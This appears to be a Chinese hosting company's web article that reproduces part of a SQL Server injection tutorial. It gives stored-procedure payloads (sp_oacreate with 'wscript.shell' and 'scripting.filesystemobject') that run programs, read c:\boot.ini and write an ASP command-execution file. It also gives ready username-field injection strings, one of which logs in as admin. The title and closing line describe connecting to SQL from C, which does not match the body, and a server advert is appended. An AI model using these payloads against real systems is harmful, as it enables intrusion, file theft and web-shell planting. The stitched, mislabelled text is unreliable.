SQL SERVER中提供了幾個(gè)內(nèi)置的允許創(chuàng)建ActiveX自動(dòng)執(zhí)行腳本的存儲(chǔ)過(guò)程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動(dòng)執(zhí)行對(duì)象并和它們交互。一個(gè)自動(dòng)執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個(gè)例子:

(1)這個(gè)例子使用’wscript.shell’對(duì)象建立了一個(gè)記事本的實(shí)例:

wscript.shell example

declare @o int

exec sp_oacreate ‘wscript.shell’,@o out

exec sp_oamethod @o,’run’,NULL,’notepad.exe’

我們可以通過(guò)指定在用戶名后面來(lái)執(zhí)行它:

Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—

(2)這個(gè)例子使用’scripting.filesystemobject’對(duì)象讀一個(gè)已知的文本文件:

–scripting.filesystemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1

exec @ret=sp_oamethod @f,’readline’,@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,’readline’,@line out

end

(3)這個(gè)例子創(chuàng)建了一個(gè)能執(zhí)行通過(guò)提交到的任何命令:

— scripting.filesystemobject example – create a ‘run this’.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate ‘scripting.filesystemobject’,@o out

exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1

exec @ret=sp_oamethod @f,’writeline’,NULL,”

需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺(tái)上,那么通過(guò)這個(gè)程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個(gè)比較低的權(quán)限IWAM_XXXaccount運(yùn)行。

(4)這些例子闡述了這個(gè)技術(shù)的適用性;它可以使用’speech.voicetext’對(duì)象引起SQL SERVER發(fā)聲:

declare @o int,@ret int

exec sp_oacreate ‘speech.voicetext’,@o out

exec sp_oamethod @o,’register’,NULL,’foo’,’bar’

exec sp_oasetproperty @o,’speed’,150

exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528

waitfor delay ’00:00:05′

我們可以在我們假定的例子中,通過(guò)指定在用戶名后面來(lái)執(zhí)行它(注意這個(gè)例子不僅僅是注入一個(gè)腳本,同時(shí)以admin權(quán)限登陸到應(yīng)用程序):

Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–

傳說(shuō)如果一個(gè)ASP應(yīng)用程序在數(shù)據(jù)庫(kù)中使用了存儲(chǔ)過(guò)程,那么SQL注入是不可能的。這句話只對(duì)了一半,這要看ASP腳本中調(diào)用這個(gè)存儲(chǔ)過(guò)程的方式。

本質(zhì)上,如果一個(gè)有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過(guò)安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語(yǔ)句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫(kù)。

比較好的常規(guī)的標(biāo)準(zhǔn)是:

· 如果一個(gè)ASP腳本能夠產(chǎn)生一個(gè)被提交的SQL查詢字符串,即使它使用了存儲(chǔ)過(guò)程也是能夠引起SQL注入的弱點(diǎn)。

關(guān)于c 實(shí)現(xiàn)連接sql數(shù)據(jù)庫(kù)查詢的介紹到此就結(jié)束了,不知道你從中找到你需要的信息了嗎 ?如果你還想了解更多這方面的信息,記得收藏關(guān)注本站。

香港服務(wù)器選創(chuàng)新互聯(lián),2H2G首月10元開通。
創(chuàng)新互聯(lián)(www.cdcxhl.com)互聯(lián)網(wǎng)服務(wù)提供商,擁有超過(guò)10年的服務(wù)器租用、服務(wù)器托管、云服務(wù)器、虛擬主機(jī)、網(wǎng)站系統(tǒng)開發(fā)經(jīng)驗(yàn)。專業(yè)提供云主機(jī)、虛擬主機(jī)、域名注冊(cè)、VPS主機(jī)、云服務(wù)器、香港云服務(wù)器、免備案服務(wù)器等。


文章標(biāo)題:C語(yǔ)言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫(kù)查詢——一步步教您完成!(c實(shí)現(xiàn)連接sql數(shù)據(jù)庫(kù)查詢)
標(biāo)題鏈接:http://m.5511xx.com/article/cccpoip.html